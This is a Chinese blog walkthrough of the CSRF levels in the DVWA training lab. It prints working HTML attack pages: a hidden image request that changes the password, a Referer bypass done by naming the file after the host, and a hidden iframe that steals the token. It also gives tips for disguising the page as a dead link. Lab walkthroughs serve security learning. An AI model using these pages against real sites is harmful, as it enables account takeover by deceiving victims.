天天看点

2021-03-29,CSRF

是这样的

不小心只输入了源密码,竟然给我改成了Null

233

2021-03-29,CSRF

先看看low的

2021-03-29,CSRF

可以直接构造链接

http://169.254.132.13/DVWA/vulnerabilities/csrf/

?password_new=

&password_conf=

&Change=Change

太长?

使用短地址

百度一搜就行

攻击页面

在公网上的攻击页面,

受害者访问后会认为是自己点击的是一个失效的url,嘿嘿

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <img src="http://169.254.132.13/DVWA/vulnerabilities/csrf/?password_new=&password_conf=&Change=Change#" border="0" style="display:none;"/>

    <h1>服务器君好像走丢了呢<h1>
</body>
</html>

           

medium

多了个来源判断

Referer参数中要包含主机名

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释:字符串位置从 0 开始,不是从 1 开始。

攻击页面

把攻击页面名称改为

被攻击主机名.html

完美包含

high

2021-03-29,CSRF
2021-03-29,CSRF

加了token

仍然可以个构建攻击页面,但是需要放在被攻击的服务器上

(同源策略)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>error</title>
</head>

<script type="text/javascript">

function upup(){

    var a = document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
    var b = "http://169.254.132.13/DVWA/vulnerabilities/csrf?password_new=&password_conf=&user_token=" + a + "&Change=Change";
    document.all.img1.src = b;
}


</script>

<body onload="upup()">

    <iframe src="http://169.254.132.13/DVWA/vulnerabilities/csrf" id="hack" height="0" width="0" style="display:none;"></iframe>

    <img src= "#;"  height="0" width="0" style="display:none;" id="img1"/>

  <h1>服务器君好像走丢了……</h1>

  </body>
</html>

           

用一个看不见的iframe 获取了token

impossible

加了一个password_current需要原密码

加了PDO防SQL

PDO简介及其基本使用

继续阅读